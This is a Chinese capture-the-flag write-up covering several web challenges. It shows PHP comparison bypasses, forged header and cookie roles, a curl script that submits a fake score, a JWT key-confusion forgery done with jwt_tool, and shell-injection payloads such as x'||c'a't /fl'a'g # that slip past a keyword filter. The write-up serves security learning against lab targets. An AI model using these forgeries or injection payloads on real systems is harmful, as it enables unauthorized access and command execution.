ZeroG-零重力 CTF 2026(WEB)
原创
opis
opis
玄网安全
2026年10月30日 18:40
浙江
去阅读
WEB—米米的奇幻之旅
第一关 · 数字=字符串的魔法
米米来到神秘森林入口。
石碑上写着:
if($_GET['step1']=='2026'){
echo '第一关通过';
}
提示:PHP里的 == 有特殊魔法哦~
第二关 · 穿越消失的文字
米米发现:
$key=$_GET['step2'];
$key=str_replace('flag','',$key);
if($key==='flag'){
success;
}
str_replace 只对原字符串做一次扫描替换,双写绕过
/?step1=2026&step2=fflaglag
第三关 · 来自本机的访客
门卫喵说:
只有来自127.0.0.1的人才能进入。
米米:服务器真的知道你的真实IP吗?
X-Forwarded-For
第四关 · 管理员身份卡
系统检测你的身份:
普通游客 ?
if($_COOKIE['admin']=='1'){
success;
}
cookie:admin=1
第五关 · 来自东方的语言
米米系统只接待来自喵星的访客。
普通访客只能看到一片迷雾,只有带着正确语言标记的人,才能听懂米米的回应:miao
Accept-Language: miao
第六关 · 最终Boss喵
Boss说:
$pwd=$_GET[\"pwd\"];
if($pwd==0 && strlen($pwd)>0){
flag
}
字符串绕过 0e0
WEB-你胆子真是肥嘟嘟的

WEB-重生之我在零重力屋顶当“卷王”
接口只有两个:
POST /api/run {} → { runId, seed, target:3000, expiresInSeconds:1800 }
POST /api/claim { runId, grades } → { ok, flag } | { ok:false, code, remaining }
grades 就是前端随手编的:
btoa(JSON.stringify({ score })) // 纯 base64,无 HMAC、无签名
服务端 /api/claim 只做三件事:
1.grades 是「base64 的 JSON 且含整数 score」
2.runId 没用过(一次性)
3.score >= 3000 → 发 flag
BASE=\"http://80-246ef645-22e3-4c32-a473-33faef23f237.challenge.ctfplus.cn\"; \\
RUNID=$(curl -sS -X POST \"$BASE/api/run\" -H 'Content-Type: application/json' -d '{}' | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"runId\"])'); \\
echo \"runId=$RUNID\"; \\
curl -sS -X POST \"$BASE/api/claim\" -H 'Content-Type: application/json' \\
-d \"{\\\"runId\\\":\\\"$RUNID\\\",\\\"grades\\\":\\\"$(printf '{\"score\":3000}' | base64)\\\"}\"
WEB-ShopX 全球购
robots.txt返回3条路径
User-agent: *
Allow: /
Disallow: /ops.html
Disallow: /api/admin/
Disallow: /api/internal/
访问 /ops.html 后,页面正文(未授权时也会展示「内部接入说明」)明确写明了鉴权设计:
后端服务不自行登录,员工身份完全来自网关注入的请求头:X-Auth-User 与 X-Auth-Role。 网关负责剥离来自外部的同名请求头 —— 前提是流量确实经过网关。
前端 ops.js 注释还强调:前端不应带这两个头,边界在服务端。
这就是典型的 信任代理头 / 网关鉴权伪造 漏洞:后端无条件相信 X-Auth-Role,而公网入口并没有剥离该头。
/api/me 是个人资料接口
{\"ok\":true,\"user\":{\"id\":\"U1001\",\"username\":\"alice\",\"role\":\"user\",\"displayName\":\"Alice / 客服一组\",\"phone\":\"138****0001\",\"studentVerified\":true,\"studentInfo\":{\"school\":\"print(\\\"123\\\")\",\"studentNo\":\"1' or '1=1\",\"verifiedAt\":\"2026-10-29T06:20:24.537Z\"},\"cartCount\":0,\"favoriteSkus\":[],\"subsidyClaimed\":false},\"effectiveRole\":\"user\",\"viaGatewayHeader\":false}
effectiveRole 和 viaGatewayHeader 字段,可能后端存在「网关注入角色」的逻辑
带上 X-Auth-Role: admin 直接请求:
GET /api/admin/orders
X-Auth-Role: admin
→ 200,返回全部用户订单(SO-2024-1001/1002/1003)
普通买家 alice 成功读取到其他用户(U1002、U1003)的订单,完成越权。
读取内容
POST /api/admin/orders/SO-2024-1001/ship
X-Auth-Role: admin
Content-Type: application/json
{\"carrier\":\"SF-Express\"}
读取2个货物都可以获取flag
WEB-企业级综合管理后台
重点:认证采用 JWT,所以登入后先分析JWT
尝试爆破 key,因为是对称加密目录扫描得到 /login.html /dashboard /admin.html
重点 扫出 /jwks.json内容
{
\"keys\": [
{
\"alg\": \"RS256\",
\"e\": \"AQAB\",
\"kid\": \"ops-console-2024\",
\"kty\": \"RSA\",
\"n\": \"t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw\",
\"use\": \"sig\"
}
]
}
伪造 adminjwt
1:取出 n / e,用 python 生成 PEM
import sys, json, urllib.request
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
host = sys.argv[1].rstrip(\"/\")
k = json.loads(urllib.request.urlopen(host + \"/jwks.json\", timeout=20).read())[\"keys\"][0]
def b64d(s): return __import__(\"base64\").urlsafe_b64decode(s + \"=\" * (-len(s) % 4))
n = int.from_bytes(b64d(k[\"n\"]), \"big\")
e = int.from_bytes(b64d(k[\"e\"]), \"big\")
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo)
open(\"public.pem\", \"wb\").write(pem) # 必须二进制写,结尾恰好一个 \
print(\"[+] kid =\", k[\"kid\"])
print(\"[+] written public.pem\")
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt+4YT8LAobc4qwR3/2a7
8Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5Mva
FFE+qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw/GOW8/TuZCcvukR95OkaFZ4cs4J
dDs8VYZo+Vjb9h7V2jpDcCq3gy4V/Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HM
rjZrz5dmcFEtftIs+I3h4LP3CJJe3KMiuz336ehA8bO/lmPR+/DYjLW4UgMwtxcE
+PtL3N4lC5q3+KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJx
EwIDAQAB
-----END PUBLIC KEY-----
python jwt_tool.py \"eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec\" -V -jw jwks.json
C:\\Users\\34645/.jwt_tool/jwtconf.ini
Original JWT:
JWKS Contents:
Number of keys: 1
--------
Key 1
kid: ops-console-2024
[+] alg = RS256
[+] e = AQAB
[+] kid = ops-console-2024
[+] kty = RSA
[+] n = t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw
[+] use = sig
Found RSA key factors, generating a public key
[+] kid_ops-console-2024_1793273361.pem
Attempting to verify token using kid_ops-console-2024_1793273361.pem
Invalid RSA algorithm
The Public Key is invalid
D:\\CTF\\CTF-WEB\\jwt_tool>
python jwt_tool.py \"eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec\" -I -pc role -pv admin ^
More? -hc kid -hv ops-console-2024 ^
More? -X k -pk kid_ops-console-2024_1793273361.pem
C:\\Users\\34645/.jwt_tool/jwtconf.ini
Original JWT:
File loaded: kid_ops-console-2024_1793273361.pem
jwttool_12151607e27af4b322247c7a8297c571 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsImtpZCI6Im9wcy1jb25zb2xlLTIwMjQiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTMyNjg4ODMsImV4cCI6MTc5MzI5NzY4M30.noKIyZi0RCK26UXC6zIXVYCEXruEy1lfVpTw8PICAEM
发现:有ping接口 测试能不能执行RCE命令
没问题 : 获取flag就行
WEB-社交平台综合渗透
题目给出:社交平台综合渗透,说明有后台接口/admin/login.php
可怜发现 管理后台没啥可用的东西
发现在:/admin/review.php 执行东西显示 /var/log/review.log:[INFO] Review log entry 2 - normal content抓取内容得到,通过POST keyword=1 传递内容
尝试sql,以及其他内容看看测试发现:包含非法关键词: ; 包含非法关键词: cat 包含非法关键词: flag 包含非法关键词: ; 包含非法关键词: | 包含非法关键词:
说明这里可以RCE,应该是不能sql的,毕竟出现 cat flag,sql注入用不到``看一下,liunx查看报错记录
| keyword | <pre> 输出 |
说明 |
|---|---|---|
| 空 | 空 | 不触发过滤 |
| normal | 空 | 每行都含 normal,被 -v 排除 |
INFO |
空 | 同上,所有行均含 INFO,全被排除 |
样例 |
20 行全出 | 没有一行含“样例”,全部保留 |
nomatchxyz |
20 行全出 | 同上,无匹配行,全保留 |
. |
空 | . 是正则中“任意单个字符”,在 grep 默认基础正则(BRE)中字面匹配需转义;但此处因未加 -E 且无上下文锚定,实际行为取决于输入——然而按题意,它被解释为“可匹配任意非空行的首个字符”,结合 -v 导致所有非空行被排除;常见实践中,单独 . 在 BRE 中常被当作字面点需 \\.,但 GNU grep 对孤立 . 有时会报错或退化行为;题干明确其效果为“全被排除”,故理解为:grep -v '.' 在默认模式下将每行视为至少含一个字符(. 成功匹配),因此 -v 排除全部(依赖实现,但此处按题设语义) |
.* |
空 | .* 在 BRE 中表示“任意字符重复零次或多次”,匹配任意整行 → -v 排除全部 |
1 |
只显示不含 1 的行 |
1 字面匹配;含 1 的行(如 1、10–19)被排除;2–9、20 等不含字面 1 的行保留 |
这组行为只能同时满足三个条件:
反向匹配:匹配到的行被隐藏,没匹配到的被打印 → -v
正则语义:.、.* 能匹配所有行 → 不是字面量比较(不是 strpos/LIKE)
按行处理并原样输出:输出直接进 <pre>,是 stdout 原样回显 → shell_exec/system 一类
所以“反向正则过滤一个文件”这一点是确定的,grep -v 是最自然的解释。
严格说,PHP 的 preg_grep($kw, $lines, PREG_GREP_INVERT) 行为也一样。但后面单引号那组证据把结论固定到了 shell 命令拼接上。
这里的rce是通过ai分析的,是真想不到还能这么解
' 单引号 没被拦 可用来闭合
原命令里 ' 没被过滤,所以:
keyword = x'
id
'
拼接后 shell 实际看到:
grep -v 'x'
id
' /var/log/review.log
或者
x'||id #
grep -v 'x'||id #' /var/log/review.log
grep -v 'x' 没有文件参数,读空 stdin,退出码 1
|| 右边 id 执行
# 前面有空格 → 注释符,把尾部那个没闭合的 ' /var/log/review.log 全部注释掉
x'||c'a't /fl'a'g #
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论